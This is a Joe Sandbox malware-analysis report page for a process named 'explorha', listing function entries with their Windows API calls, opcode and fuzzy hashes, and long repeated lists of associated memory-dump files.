Associated: 00000006.00000002.2922687162.0000000000DED000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922913733.0000000000DEF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923176644.0000000000DFE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923452266.0000000000E00000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ad0000_explorha.jbxd

Yara matches

Similarity

API ID: InfoNativeSystem
String ID:
API String ID: 1721193555-0
Opcode ID: 2035a84715c90d3c63ca221fa0fb7d0c8ef8cc40e66b6bcf700c08fb92fa5090
Instruction ID: b808702cb86921b43be3c6438fe7eb880d094716c5a40a3c25fba8b8a95ac4c4
Opcode Fuzzy Hash: 2035a84715c90d3c63ca221fa0fb7d0c8ef8cc40e66b6bcf700c08fb92fa5090
Instruction Fuzzy Hash: D1515A71D042189BEB28EB38CD457DEBB75EB49314F50429AE816A73C1EB349EC4CB91

Uniqueness

Uniqueness Score: -1.00%

Function 00AD6020 Relevance: 1.6, APIs: 1, Instructions: 111registryCOMMON

Download Yara Rule

APIs

RegSetValueExA.KERNELBASE(80000001,?,00000000,00000002,?,?), ref: 00AD6081

Memory Dump Source

Source File: 00000006.00000002.2904688254.0000000000AD1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000006.00000002.2904464612.0000000000AD0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2904688254.0000000000B34000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2905702073.0000000000B39000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2906055753.0000000000B3B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2906534121.0000000000B47000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2908603359.0000000000CAA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2909093671.0000000000CAC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2909479759.0000000000CC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2910363097.0000000000CC5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2910760294.0000000000CC9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2910760294.0000000000CD0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2911468104.0000000000CD7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2911728539.0000000000CD9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2912059942.0000000000CEB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2912387007.0000000000CEC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2912745045.0000000000D01000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2913036158.0000000000D02000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2913374807.0000000000D04000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2913878289.0000000000D05000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2914262582.0000000000D07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2914750366.0000000000D18000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2915066654.0000000000D35000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2915382484.0000000000D3A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2915668980.0000000000D3B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2915958788.0000000000D3F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2916220436.0000000000D40000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2916776940.0000000000D45000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2917077147.0000000000D53000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2917421758.0000000000D56000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2917677702.0000000000D57000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2917938905.0000000000D58000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918107473.0000000000D5F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918393211.0000000000D63000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918650468.0000000000D6B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918877982.0000000000D6D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919110289.0000000000D74000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919365327.0000000000D77000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919621902.0000000000D87000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919845782.0000000000D88000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920036786.0000000000D89000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920263609.0000000000D8A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920491065.0000000000D8B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920716197.0000000000D8F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921027081.0000000000DA9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921362350.0000000000DAD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921362350.0000000000DBA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921885229.0000000000DE6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922138997.0000000000DE7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922481076.0000000000DE8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922687162.0000000000DED000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922913733.0000000000DEF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923176644.0000000000DFE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923452266.0000000000E00000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ad0000_explorha.jbxd

Yara matches

Similarity

API ID: Value
String ID:
API String ID: 3702945584-0
Opcode ID: 0969ab2bfd38596e4dc890d1ad0871a4ee45cb341a18f1f4b70f799e0ec462b1
Instruction ID: 3246b411acf62d287b6623993d7aa40bfcf156ba010a0556f13c864b03d2dbe6
Opcode Fuzzy Hash: 0969ab2bfd38596e4dc890d1ad0871a4ee45cb341a18f1f4b70f799e0ec462b1
Instruction Fuzzy Hash: F531BC71210148ABEF18DF28CD85BAD7B66EB85304FA08218F90697396D736E980CB80

Uniqueness

Uniqueness Score: -1.00%

Function 00B086D1 Relevance: 1.6, APIs: 1, Instructions: 56timeCOMMONLIBRARYCODE

Download Yara Rule

APIs

SystemTimeToTzSpecificLocalTime.KERNELBASE(00000000,?,?,?,?,?,00B08608,?,?,00000000,00000000), ref: 00B08713

Memory Dump Source

Source File: 00000006.00000002.2904688254.0000000000AD1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000006.00000002.2904464612.0000000000AD0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2904688254.0000000000B34000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2905702073.0000000000B39000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2906055753.0000000000B3B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2906534121.0000000000B47000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2908603359.0000000000CAA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2909093671.0000000000CAC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2909479759.0000000000CC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2910363097.0000000000CC5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2910760294.0000000000CC9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2910760294.0000000000CD0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2911468104.0000000000CD7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2911728539.0000000000CD9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2912059942.0000000000CEB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2912387007.0000000000CEC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2912745045.0000000000D01000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2913036158.0000000000D02000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2913374807.0000000000D04000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2913878289.0000000000D05000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2914262582.0000000000D07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2914750366.0000000000D18000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2915066654.0000000000D35000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2915382484.0000000000D3A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2915668980.0000000000D3B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2915958788.0000000000D3F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2916220436.0000000000D40000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2916776940.0000000000D45000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2917077147.0000000000D53000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2917421758.0000000000D56000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2917677702.0000000000D57000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2917938905.0000000000D58000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918107473.0000000000D5F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918393211.0000000000D63000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918650468.0000000000D6B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918877982.0000000000D6D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919110289.0000000000D74000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919365327.0000000000D77000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919621902.0000000000D87000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919845782.0000000000D88000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920036786.0000000000D89000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920263609.0000000000D8A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920491065.0000000000D8B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920716197.0000000000D8F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921027081.0000000000DA9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921362350.0000000000DAD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921362350.0000000000DBA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921885229.0000000000DE6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922138997.0000000000DE7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922481076.0000000000DE8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922687162.0000000000DED000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922913733.0000000000DEF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923176644.0000000000DFE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923452266.0000000000E00000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ad0000_explorha.jbxd

Yara matches

Similarity

API ID: Time$LocalSpecificSystem
String ID:
API String ID: 2574697306-0
Opcode ID: a954af99bedb5a9fb3969e4c22993a014f9025d7415953ad27241be1be5ff378
Instruction ID: b2c8985fef4cbaca632ca8a8d1e7d8881970d22462665bac73cfca0f31cb60ad
Opcode Fuzzy Hash: a954af99bedb5a9fb3969e4c22993a014f9025d7415953ad27241be1be5ff378
Instruction Fuzzy Hash: FF11187290014CABDB00DE95C980EDF7BFCAB08310F6052A6E955E2180EB30EF448B61

Uniqueness

Uniqueness Score: -1.00%

Function 00B0C273 Relevance: 1.6, APIs: 1, Instructions: 54COMMON

Download Yara Rule

APIs

__wsopen_s.LIBCMT ref: 00B0C2AD

Memory Dump Source

Source File: 00000006.00000002.2904688254.0000000000AD1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000006.00000002.2904464612.0000000000AD0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2904688254.0000000000B34000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2905702073.0000000000B39000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2906055753.0000000000B3B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2906534121.0000000000B47000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2908603359.0000000000CAA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2909093671.0000000000CAC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2909479759.0000000000CC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2910363097.0000000000CC5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2910760294.0000000000CC9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2910760294.0000000000CD0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2911468104.0000000000CD7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2911728539.0000000000CD9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2912059942.0000000000CEB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2912387007.0000000000CEC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2912745045.0000000000D01000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2913036158.0000000000D02000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2913374807.0000000000D04000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2913878289.0000000000D05000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2914262582.0000000000D07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2914750366.0000000000D18000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2915066654.0000000000D35000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2915382484.0000000000D3A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2915668980.0000000000D3B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2915958788.0000000000D3F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2916220436.0000000000D40000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2916776940.0000000000D45000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2917077147.0000000000D53000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2917421758.0000000000D56000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2917677702.0000000000D57000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2917938905.0000000000D58000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918107473.0000000000D5F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918393211.0000000000D63000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918650468.0000000000D6B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918877982.0000000000D6D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919110289.0000000000D74000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919365327.0000000000D77000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919621902.0000000000D87000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919845782.0000000000D88000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920036786.0000000000D89000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920263609.0000000000D8A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920491065.0000000000D8B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920716197.0000000000D8F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921027081.0000000000DA9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921362350.0000000000DAD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921362350.0000000000DBA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921885229.0000000000DE6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922138997.0000000000DE7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922481076.0000000000DE8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922687162.0000000000DED000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922913733.0000000000DEF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923176644.0000000000DFE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923452266.0000000000E00000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ad0000_explorha.jbxd

Yara matches

Similarity

API ID: __wsopen_s
String ID:
API String ID: 3347428461-0
Opcode ID: 2a09b29b7eec87bb73a56a23b29e8dfd323196079951747d4f7ddd6b01bacceb
Instruction ID: af882bdf466dbe5d4e4a2f5fcdb01f594007f654781931ad83e7eea94610a1eb
Opcode Fuzzy Hash: 2a09b29b7eec87bb73a56a23b29e8dfd323196079951747d4f7ddd6b01bacceb
Instruction Fuzzy Hash: F41118B5A0410AEFCF05DF98E94199B7BF9EF48304F1440A9F805AB251DB30DE15CB65

Uniqueness

Uniqueness Score: -1.00%

Function 00B0EE4F Relevance: 1.5, APIs: 1, Instructions: 40memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000008,?,00000000,?,00B0BE33,00000001,00000364,00000006,000000FF,?,00AEEA91,48F964E0,?,00AE911B,?), ref: 00B0EE91

Memory Dump Source

Source File: 00000006.00000002.2904688254.0000000000AD1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000006.00000002.2904464612.0000000000AD0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2904688254.0000000000B34000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2905702073.0000000000B39000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2906055753.0000000000B3B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2906534121.0000000000B47000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2908603359.0000000000CAA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2909093671.0000000000CAC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2909479759.0000000000CC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2910363097.0000000000CC5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2910760294.0000000000CC9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2910760294.0000000000CD0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2911468104.0000000000CD7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2911728539.0000000000CD9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2912059942.0000000000CEB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2912387007.0000000000CEC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2912745045.0000000000D01000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2913036158.0000000000D02000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2913374807.0000000000D04000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2913878289.0000000000D05000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2914262582.0000000000D07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2914750366.0000000000D18000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2915066654.0000000000D35000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2915382484.0000000000D3A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2915668980.0000000000D3B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2915958788.0000000000D3F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2916220436.0000000000D40000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2916776940.0000000000D45000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2917077147.0000000000D53000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2917421758.0000000000D56000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2917677702.0000000000D57000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2917938905.0000000000D58000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918107473.0000000000D5F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918393211.0000000000D63000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918650468.0000000000D6B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918877982.0000000000D6D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919110289.0000000000D74000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919365327.0000000000D77000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919621902.0000000000D87000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919845782.0000000000D88000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920036786.0000000000D89000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920263609.0000000000D8A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920491065.0000000000D8B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920716197.0000000000D8F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921027081.0000000000DA9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921362350.0000000000DAD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921362350.0000000000DBA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921885229.0000000000DE6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922138997.0000000000DE7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922481076.0000000000DE8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922687162.0000000000DED000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922913733.0000000000DEF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923176644.0000000000DFE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923452266.0000000000E00000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ad0000_explorha.jbxd

Yara matches

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: e621900f90a7bb52e1b1506cca651dc39ec44fb0f5611c75a824c08b93307479
Instruction ID: 72d6875acb401241b738d3b9b62ed851919d0b8394ac52e30f6b1f473bfaf8c2
Opcode Fuzzy Hash: e621900f90a7bb52e1b1506cca651dc39ec44fb0f5611c75a824c08b93307479
Instruction Fuzzy Hash: AFF0B43250022C66DBA12621DC01A5B7FD8DB81360B3888D2AC28A61C1CF30E80181E0

Uniqueness

Uniqueness Score: -1.00%

Function 00B0C66B Relevance: 1.5, APIs: 1, Instructions: 33memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000000,48F964E0,?,?,00AEEA91,48F964E0,?,00AE911B,?,?,?,?,?,?,00AD6FE5,?), ref: 00B0C69E

Memory Dump Source

Source File: 00000006.00000002.2904688254.0000000000AD1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000006.00000002.2904464612.0000000000AD0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2904688254.0000000000B34000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2905702073.0000000000B39000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2906055753.0000000000B3B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2906534121.0000000000B47000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2908603359.0000000000CAA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2909093671.0000000000CAC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2909479759.0000000000CC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2910363097.0000000000CC5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2910760294.0000000000CC9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2910760294.0000000000CD0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2911468104.0000000000CD7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2911728539.0000000000CD9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2912059942.0000000000CEB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2912387007.0000000000CEC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2912745045.0000000000D01000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2913036158.0000000000D02000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2913374807.0000000000D04000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2913878289.0000000000D05000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2914262582.0000000000D07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2914750366.0000000000D18000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2915066654.0000000000D35000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2915382484.0000000000D3A000.00000040.00000001.01000000.00000007.sdmpDownload File
